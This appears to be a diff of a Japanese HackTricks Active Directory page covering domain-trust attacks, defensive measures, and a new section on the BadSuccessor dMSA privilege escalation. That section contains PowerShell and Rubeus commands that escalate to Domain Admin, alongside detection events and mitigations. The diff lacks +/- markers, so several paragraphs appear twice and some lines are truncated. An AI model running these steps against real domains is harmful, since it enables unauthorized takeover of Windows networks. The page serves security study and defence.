[SSPセキュリティサポートプロバイダーとは何かをここで学びます。](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
[SSPセキュリティサポートプロバイダーについてはここで学びます。](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
自分の**SSP**を作成して、マシンにアクセスするために使用される**資格情報**を**平文**で**キャプチャ**することができます。
{{#ref}}
@ -494,9 +494,9 @@ ADに**新しいドメインコントローラー**を登録し、指定され
dcshadow.md
{{#endref}}
### LAPSの永続性
### LAPS続性
以前に、**LAPSパスワードを読むための十分な権限がある場合に権限を昇格させる方法**について説明しました。しかし、これらのパスワードは**続性を維持するためにも使用できます**。\
以前に、**LAPSパスワードを読むための十分な権限がある場合に権限を昇格させる方法**について説明しました。しかし、これらのパスワードは**続性を維持するためにも使用できます**。\
確認してください:
{{#ref}}
@ -505,11 +505,11 @@ laps.md
## フォレスト権限昇格 - ドメイン信頼
Microsoftは**フォレスト**をセキュリティ境界と見なしています。これは、**単一のドメインを侵害することが、フォレスト全体の侵害につながる可能性がある**ことを意味します
Microsoftは**フォレスト**をセキュリティ境界と見なしています。これは、**単一のドメインを妥協させることが、フォレスト全体が妥協される可能性があることを意味します**
### 基本情報
[**ドメイン信頼**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)は、1つの**ドメイン**のユーザーが別の**ドメイン**のリソースにアクセスできるようにするセキュリティメカニズムです。これは、2つのドメインの認証システム間にリンクを作成し、認証確認がシームレスに流れることを可能にします。ドメインが信頼を設定すると、特定の**キー**を**ドメインコントローラーDC**内で交換し保持します。これは信頼の整合性にとって重要です。
[**ドメイン信頼**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)は、ある**ドメイン**のユーザーが別の**ドメイン**のリソースにアクセスできるようにするセキュリティメカニズムです。これは、2つのドメインの認証システム間にリンクを作成し、認証確認がシームレスに流れることを可能にします。ドメインが信頼を設定すると、特定の**キー**を**ドメインコントローラーDC**内で交換し保持します。これは信頼の整合性にとって重要です。
典型的なシナリオでは、ユーザーが**信頼されたドメイン**のサービスにアクセスしようとする場合、まず自分のドメインのDCから**インターレルムTGT**と呼ばれる特別なチケットを要求する必要があります。このTGTは、両方のドメインが合意した共有**キー**で暗号化されています。ユーザーはこのTGTを**信頼されたドメインのDC**に提示してサービスチケット(**TGS**を取得します。信頼されたドメインのDCによってインターレルムTGTが正常に検証されると、TGSが発行され、ユーザーはサービスにアクセスできるようになります。
@ -517,7 +517,7 @@ Microsoftは**フォレスト**をセキュリティ境界と見なしていま
1. **ドメイン1**の**クライアントコンピュータ**が、**ドメインコントローラーDC1**から**チケットグラントチケットTGT**を要求するプロセスを開始します。
2. クライアントが正常に認証されると、DC1は新しいTGTを発行します。
3. クライアントは次に、**ドメイン2**のリソースにアクセスするためにDC1から**インターレルムTGT**を要求します。
3. クライアントは次に、**ドメイン2**のリソースにアクセスするために必要な**インターレルムTGT**をDC1に要求します。
4. インターレルムTGTは、双方向ドメイン信頼の一部としてDC1とDC2の間で共有された**信頼キー**で暗号化されています。
5. クライアントはインターレルムTGTを**ドメイン2のドメインコントローラーDC2**に持っていきます。
6. DC2は、共有信頼キーを使用してインターレルムTGTを検証し、有効であれば、クライアントがアクセスしたいドメイン2のサーバーのために**チケットグラントサービスTGS**を発行します。
@ -527,14 +527,14 @@ Microsoftは**フォレスト**をセキュリティ境界と見なしていま
**信頼は1方向または2方向**であることに注意することが重要です。2方向のオプションでは、両方のドメインが互いに信頼しますが、**1方向**の信頼関係では、1つのドメインが**信頼された**ドメインであり、もう1つが**信頼する**ドメインです。この場合、**信頼されたドメインから信頼するドメイン内のリソースにのみアクセスできます**。
ドメインAがドメインBを信頼している場合、Aは信頼するドメインであり、Bは信頼されたドメインです。さらに、**ドメインA**では、これは**アウトバウンド信頼**であり、**ドメインB**では、これは**インバウンド信頼**です。
ドメインAがドメインBを信頼している場合、Aは信頼するドメインであり、Bは信頼されたドメインです。さらに、**ドメインA**では、これは**アウトバウンド信頼**となり、**ドメインB**では、これは**インバウンド信頼**となります。
**異なる信頼関係**
- **親子信頼**:これは同じフォレスト内で一般的な設定であり、子ドメインは自動的に親ドメインとの双方向の推移的信頼を持ちます。基本的に、これは認証要求が親と子の間でシームレスに流れることを意味します。
- **親子信頼**:これは同じフォレスト内で一般的な設定であり、子ドメインは自動的に親ドメインとの双方向の推移的信頼を持ちます。基本的に、これは認証要求が親と子の間でシームレスに流れることを意味します。
- **クロスリンク信頼**:これは「ショートカット信頼」と呼ばれ、子ドメイン間で設立され、参照プロセスを迅速化します。複雑なフォレストでは、認証参照は通常、フォレストのルートまで上昇し、ターゲットドメインまで下降する必要があります。クロスリンクを作成することで、旅が短縮され、特に地理的に分散した環境で有益です。
- **外部信頼**:これは異なる、無関係なドメイン間で設定され、非推移的です。 [Microsoftのドキュメント](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)によると、外部信頼は、現在のフォレスト外のドメインのリソースにアクセスするために便利であり、フォレスト信頼によって接続されていないドメインです。セキュリティは、外部信頼に対するSIDフィルタリングによって強化されます。
- **ツリーのルート信頼**:これらの信頼は、フォレストのルートドメインと新しく追加されたツリーのルート間で自動的に確立されます。一般的には遭遇しませんが、ツリーのルート信頼は、フォレストに新しいドメインツリーを追加するために重要であり、ユニークなドメイン名を維持し、双方向の推移性を確保します。詳細情報は[Microsoftのガイド](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)で確認できます。
- **外部信頼**:これは異なる、無関係なドメイン間で設定され、性質上非推移的です。[Microsoftのドキュメント](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)によると、外部信頼は、現在のフォレスト外のドメインのリソースにアクセスするために便利であり、フォレスト信頼によって接続されていないドメインです。セキュリティは、外部信頼に対するSIDフィルタリングによって強化されます。
- **ツリー信頼**:これらの信頼は、フォレストのルートドメインと新しく追加されたツリーの間で自動的に確立されます。一般的には遭遇しませんが、ツリー根信頼は新しいドメインツリーをフォレストに追加するために重要であり、ユニークなドメイン名を維持し、双方向の推移性を確保します。詳細情報は[Microsoftのガイド](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)で確認できます。
- **フォレスト信頼**このタイプの信頼は、2つのフォレストルートドメイン間の双方向推移的信頼であり、セキュリティ対策を強化するためにSIDフィルタリングを施します。
- **MIT信頼**これらの信頼は、非Windowsの[RF4120準拠](https://tools.ietf.org/html/rfc4120)のKerberosドメインとの間で確立されます。MIT信頼は、Windowsエコシステム外のKerberosベースのシステムとの統合を必要とする環境に特化しています。
@ -546,9 +546,9 @@ Microsoftは**フォレスト**をセキュリティ境界と見なしていま
### 攻撃パス
1. **信頼関係を列挙**します。
2. どの**セキュリティプリンシパル**(ユーザー/グループ/コンピュータ)が**他のドメインのリソースにアクセス**できるかを確認します。ACEエントリや他のドメインのグループにいるかもしれません。**ドメイン間の関係**を探します(信頼がこのために作成された可能性があります)。
1. この場合、kerberoastが別のオプションになる可能性があります。
3. **アカウントを侵害**し、ドメインを通じて**ピボット**します。
2. どの**セキュリティプリンシパル**(ユーザー/グループ/コンピュータ)が**他のドメインのリソースにアクセス**できるかを確認します。ACEエントリや他のドメインのグループにいることによって、**ドメイン間の関係**を探します(信頼がこのために作成された可能性があります)。
3. この場合、kerberoastが別のオプションになる可能性があります。
4. **アカウントを妥協**し、ドメインを**ピボット**します。
攻撃者は、他のドメインのリソースにアクセスするために、主に3つのメカニズムを使用できます
@ -581,7 +581,7 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case)
WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM
```
ドメイン信頼を列挙する他の方法:
ドメイン信頼を列挙する他の方法
```bash
# Get DCs
nltest /dsgetdc:<DOMAIN>
@ -618,18 +618,24 @@ Configuration Naming Context (NC) がどのように悪用されるかを理解
Configuration NCのSitesコンテナには、ADフォレスト内のすべてのドメイン参加コンピュータのサイトに関する情報が含まれています。任意のDCでSYSTEM権限を持って操作することで、攻撃者はGPOをルートDCサイトにリンクできます。このアクションは、これらのサイトに適用されるポリシーを操作することによって、ルートドメインを危険にさらす可能性があります。
詳細情報については、[SIDフィルタリングのバイパス](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)に関する研究を探ることができます
詳細情報については、[SIDフィルタリングのバイパス](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)に関する研究を参照してください
**フォレスト内の任意のgMSAを妥協する**
攻撃ベクトルは、ドメイン内の特権gMSAをターゲットにすることす。gMSAのパスワードを計算するために必要なKDS Rootキーは、Configuration NC内に保存されています。任意のDCでSYSTEM権限を持つことで、KDS Rootキーにアクセスし、フォレスト内の任意のgMSAのパスワードを計算することが可能です。
攻撃ベクトルは、ドメイン内の特権gMSAをターゲットにすることが含まれます。gMSAのパスワードを計算するために必要なKDS Rootキーは、Configuration NC内に保存されています。任意のDCでSYSTEM権限を持つことで、KDS Rootキーにアクセスし、フォレスト内の任意のgMSAのパスワードを計算することが可能です。
詳細な分析とステップバイステップのガイダンスは次の場所で見つけることができます:
詳細な分析とステップバイステップのガイダンスは次の場所にあります:
{{#ref}}
golden-dmsa-gmsa.md
{{#endref}}
補完的な委任MSA攻撃BadSuccessor 移行属性の悪用):
{{#ref}}
badsuccessor-dmsa-migration-abuse.md
{{#endref}}
追加の外部研究:[Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)。
**スキーマ変更攻撃**
@ -642,7 +648,7 @@ golden-dmsa-gmsa.md
ADCS ESC5の脆弱性は、フォレスト内の任意のユーザーとして認証を可能にする証明書テンプレートを作成するために、公開鍵基盤 (PKI) オブジェクトの制御をターゲットにしています。PKIオブジェクトはConfiguration NCに存在するため、書き込み可能な子DCを妥協することでESC5攻撃を実行できます。
に関する詳細は、[DAからEAへのESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)で読むことができます。ADCSがないシナリオでは、攻撃者は必要なコンポーネントを設定する能力を持ち、[子ドメイン管理者からエンタープライズ管理者への昇格](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)で議論されています。
の件に関する詳細は、[DAからEAへのESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)で読むことができます。ADCSがないシナリオでは、攻撃者は必要なコンポーネントを設定する能力を持ち、[子ドメイン管理者からエンタープライズ管理者への昇格](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)で議論されています。
### 外部フォレストドメイン - 一方向(インバウンド)または双方向
```bash
@ -675,16 +681,16 @@ WhenChanged : 2/19/2021 10:15:24 PM
```
このシナリオでは、**あなたのドメイン**が**異なるドメイン**のプリンシパルに**特権**を**信頼**しています。
しかし、**ドメインが信頼される**と、信頼されたドメインは**予測可能な名前**の**ユーザーを作成**し、**信頼されたパスワード**を**パスワード**として使用します。これは、**信頼されるドメインのユーザーにアクセスして信頼されたドメインに侵入し、列挙してさらに特権を昇格させる**ことが可能であることを意味します:
しかし、**ドメインが信頼される**と、信頼されたドメインは**予測可能な名前**の**ユーザーを作成**し、**信頼されたパスワード**を**パスワード**として使用します。これは、**信頼するドメインのユーザーにアクセスして信頼されたドメインに入る**ことが可能であり、それを列挙してさらに特権を昇格させることができることを意味します:
{{#ref}}
external-forest-domain-one-way-outbound.md
{{#endref}}
信頼されたドメインを侵害する別の方法は、ドメイン信頼の**反対方向**に作成された[**SQL信頼リンク**](abusing-ad-mssql.md#mssql-trusted-links)を見つけることです(これはあまり一般的ではありません)。
信頼されたドメインを侵害する別の方法は、ドメイン信頼の**方向**に作成された[**SQL信頼リンク**](abusing-ad-mssql.md#mssql-trusted-links)を見つけることです(これはあまり一般的ではありません)。
信頼されたドメインを侵害する別の方法は、**信頼されたドメインのユーザーがアクセスできる**マシンで待機し、**RDP**を介してログインすることです。その後、攻撃者はRDPセッションプロセスにコードを注入し、そこから**被害者の元のドメインにアクセス**できます。\
さらに、**被害者がハードドライブをマウントしている場合**、攻撃者は**RDPセッション**プロセスから**ハードドライブのスタートアップフォルダー**に**バックドア**を保存できます。この技術は**RDPInception**と呼ばれます。
信頼されたドメインを侵害する別の方法は、**信頼されたドメインのユーザーがアクセスできる**マシンで待機し、**RDP**を介してログインすることです。次に、攻撃者はRDPセッションプロセスにコードを注入し、そこから**被害者の元のドメインにアクセス**することができます。\
さらに、**被害者がハードドライブをマウントし場合**、攻撃者は**RDPセッション**プロセスから**ハードドライブのスタートアップフォルダー**に**バックドア**を保存することができます。この技術は**RDPInception**と呼ばれています。
{{#ref}}
rdp-sessions-abuse.md
@ -694,12 +700,12 @@ rdp-sessions-abuse.md
### **SIDフィルタリング**
- SID履歴属性を利用した攻撃のリスクは、すべてのインターフォレスト信頼でデフォルトで有効になっているSIDフィルタリングによって軽減されます。これは、マイクロソフトの見解に従い、フォレストをセキュリティ境界と見なすことから、イントラフォレスト信頼が安全であるという前提に基づいています。
- しかし、注意が必要でSIDフィルタリングはアプリケーションやユーザーアクセスに影響を与える可能性があり、そのため時折無効にされることがあります。
- SID履歴属性を利用した攻撃のリスクは、SIDフィルタリングによって軽減され、これはすべてのインターフォレスト信頼でデフォルトで有効になっています。これは、マイクロソフトの見解に従い、フォレストをセキュリティ境界と見なすことから、イントラフォレスト信頼が安全であるという前提に基づいています。
- しかし、注意点がありまSIDフィルタリングはアプリケーションやユーザーアクセスに影響を与える可能性があり、そのため時折無効にされることがあります。
### **選択的認証:**
- インターフォレスト信頼の場合、選択的認証を使用することで、2つのフォレストのユーザーが自動的に認証されないようにします。代わりに、信頼されるドメインまたはフォレスト内のドメインやサーバーにアクセスするためには明示的な権限が必要です。
- インターフォレスト信頼の場合、選択的認証を使用することで、2つのフォレストのユーザーが自動的に認証されないようにします。代わりに、信頼るドメインまたはフォレスト内のドメインやサーバーにアクセスするためには明示的な権限が必要です。
- これらの対策は、書き込み可能な構成命名コンテキストNCの悪用や信頼アカウントへの攻撃から保護するものではないことに注意が必要です。
[**ired.teamのドメイン信頼に関する詳細情報。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
@ -716,20 +722,20 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
### **資格情報保護のための防御策**
- **ドメイン管理者の制限**:ドメイン管理者はドメインコントローラーにのみログインできるようにし、他のホストでの使用を避けることが推奨されます。
- **ドメイン管理者の制限**:ドメイン管理者はドメインコントローラーにのみログインを許可し、他のホストでの使用を避けることが推奨されます。
- **サービスアカウントの特権**サービスはセキュリティを維持するためにドメイン管理者DA特権で実行されるべきではありません。
- **一時的特権制限**DA特権を必要とするタスクの期間は制限るべきです。これは次のように実現できます:`Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
- **一時的特権制限**DA特権を必要とするタスクの期間は制限されるべきです。これは次のように実現できます:`Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **欺瞞技術の実装**
- 欺瞞を実装するは、パスワードが期限切れにならないか、委任のために信頼されているとマークされたデコイユーザーやコンピュータのような罠を設定します。具体的なアプローチには、特定の権利を持つユーザーを作成したり、高特権グループに追加したりすることが含まれます。
- 実用的な例として、次のようなツールを使用ます:`Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- 欺瞞を実装することは、パスワードが期限切れにならないか、委任のために信頼されているとマークされたデコイユーザーやコンピュータのような罠を設定することを含みます。詳細なアプローチには、特定の権利を持つユーザーを作成したり、高特権グループに追加したりすることが含まれます。
- 実用的な例として、次のようなツールを使用することが含まれます:`Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- 欺瞞技術の展開に関する詳細は、[Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)で確認できます。
### **欺瞞の特定**
- **ユーザーオブジェクトの場合**疑わしい指標には、異常なObjectSID、まれなログオン、作成日、低い不正パスワードカウントが含まれます。
- **一般的な指標**:潜在的なデコイオブジェクトの属性を本物のものと比較することで不一致が明らかになることがあります。[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)のようなツールは、こうした欺瞞を特定するのに役立ちます。
- **ユーザーオブジェクトの場合**疑わしい指標には、異常なObjectSID、なログオン、作成日、低い不正パスワードカウントが含まれます。
- **一般的な指標**:潜在的なデコイオブジェクトの属性を本物のものと比較することで不一致が明らかになることがあります。ツールのような[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)は、そのような欺瞞を特定するのに役立ちます。
### **検出システムの回避**

View File

@ -0,0 +1,101 @@
# BadSuccessor: Privilege Escalation via Delegated MSA Migration Abuse
{{#include ../../banners/hacktricks-training.md}}
## 概要
Delegated Managed Service Accounts (**dMSA**) は、Windows Server 2025 に搭載される **gMSA** の次世代の後継です。正当な移行ワークフローにより、管理者は *古い* アカウント(ユーザー、コンピュータ、またはサービスアカウント)を dMSA に置き換え、権限を透過的に保持することができます。このワークフローは、`Start-ADServiceAccountMigration``Complete-ADServiceAccountMigration` などの PowerShell コマンドレットを通じて公開されており、**dMSA オブジェクト**の 2 つの LDAP 属性に依存しています:
* **`msDS-ManagedAccountPrecededByLink`** *DN リンク* で、前の(古い)アカウントへのリンク。
* **`msDS-DelegatedMSAState`** 移行状態(`0` = なし、`1` = 進行中、`2` = *完了*)。
攻撃者が OU 内に **任意の** dMSA を作成し、これら 2 つの属性を直接操作できる場合、LSASS と KDC は dMSA をリンクされたアカウントの *後継* として扱います。攻撃者がその後 dMSA として認証すると、**リンクされたアカウントのすべての権限を継承します** 管理者アカウントがリンクされている場合は **Domain Admin** まで。
この技術は 2025 年に Unit 42 によって **BadSuccessor** と名付けられました。執筆時点では **セキュリティパッチ** は利用できず、OU 権限の強化のみが問題を軽減します。
### 攻撃の前提条件
1. **組織単位 (OU)** 内にオブジェクトを作成することが *許可されている* アカウント *かつ* 次のいずれかを持っていること:
* `Create Child`**`msDS-DelegatedManagedServiceAccount`** オブジェクトクラス
* `Create Child`**`All Objects`** (一般的な作成)
2. LDAP および Kerberos へのネットワーク接続(標準のドメイン参加シナリオ / リモート攻撃)。
## 脆弱な OU の列挙
Unit 42 は、各 OU のセキュリティ記述子を解析し、必要な ACE を強調表示する PowerShell ヘルパースクリプトを公開しました:
```powershell
Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local
```
スクリプトは、`(objectClass=organizationalUnit)` のページ付き LDAP 検索を実行し、すべての `nTSecurityDescriptor` をチェックします。
* `ADS_RIGHT_DS_CREATE_CHILD` (0x0001)
* `Active Directory Schema ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8` (オブジェクトクラス *msDS-DelegatedManagedServiceAccount*)
## 攻撃手順
書き込み可能な OU が特定されると、攻撃は LDAP 書き込みが 3 回で完了します:
```powershell
# 1. Create a new delegated MSA inside the delegated OU
New-ADServiceAccount -Name attacker_dMSA \
-DNSHostName host.contoso.local \
-Path "OU=DelegatedOU,DC=contoso,DC=com"
# 2. Point the dMSA to the target account (e.g. Domain Admin)
Set-ADServiceAccount attacker_dMSA -Add \
@{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}
# 3. Mark the migration as *completed*
Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}
```
レプリケーション後、攻撃者は単に **logon** して `attacker_dMSA$` としてログインするか、Kerberos TGTを要求できます - Windowsは*superseded*アカウントのトークンを構築します。
### 自動化
いくつかの公開されたPoCは、パスワードの取得とチケット管理を含む全体のワークフローをラップしています
* SharpSuccessor (C#) [https://github.com/logangoins/SharpSuccessor](https://github.com/logangoins/SharpSuccessor)
* BadSuccessor.ps1 (PowerShell) [https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
* NetExecモジュール `badsuccessor` (Python) [https://github.com/Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec)
### ポストエクスプロイト
```powershell
# Request a TGT for the dMSA and inject it (Rubeus)
Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
Rubeus ptt /ticket:<Base64TGT>
# Access Domain Admin resources
dir \\DC01\C$
```
## Detection & Hunting
**Object Auditing**をOUで有効にし、以下のWindowsセキュリティイベントを監視します
* **5137** **dMSA**オブジェクトの作成
* **5136** **`msDS-ManagedAccountPrecededByLink`**の変更
* **4662** 特定の属性の変更
* GUID `2f5c138a-bd38-4016-88b4-0ec87cbb4919``msDS-DelegatedMSAState`
* GUID `a0945b2b-57a2-43bd-b327-4d112a4e8bd1``msDS-ManagedAccountPrecededByLink`
* **2946** dMSAのTGT発行
`4662`(属性の変更)、`4741`(コンピュータ/サービスアカウントの作成)、および`4624`その後のログオンを相関させることで、BadSuccessorの活動がすぐに明らかになります。 **XSIAM**のようなXDRソリューションには、すぐに使用できるクエリが付属しています参照を参照
## Mitigation
* **最小権限の原則**を適用する 信頼できる役割にのみ*サービスアカウント*の管理を委任します。
* 明示的に必要としないOUから`Create Child` / `msDS-DelegatedManagedServiceAccount`を削除します。
* 上記のイベントIDを監視し、dMSAを作成または編集する*非Tier-0*のアイデンティティに警告を出します。
## See also
{{#ref}}
golden-dmsa-gmsa.md
{{#endref}}
## References
- [Unit42 When Good Accounts Go Bad: Exploiting Delegated Managed Service Accounts](https://unit42.paloaltonetworks.com/badsuccessor-attack-vector/)
- [SharpSuccessor PoC](https://github.com/logangoins/SharpSuccessor)
- [BadSuccessor.ps1 Pentest-Tools-Collection](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
- [NetExec BadSuccessor module](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/badsuccessor.py)
{{#include ../../banners/hacktricks-training.md}}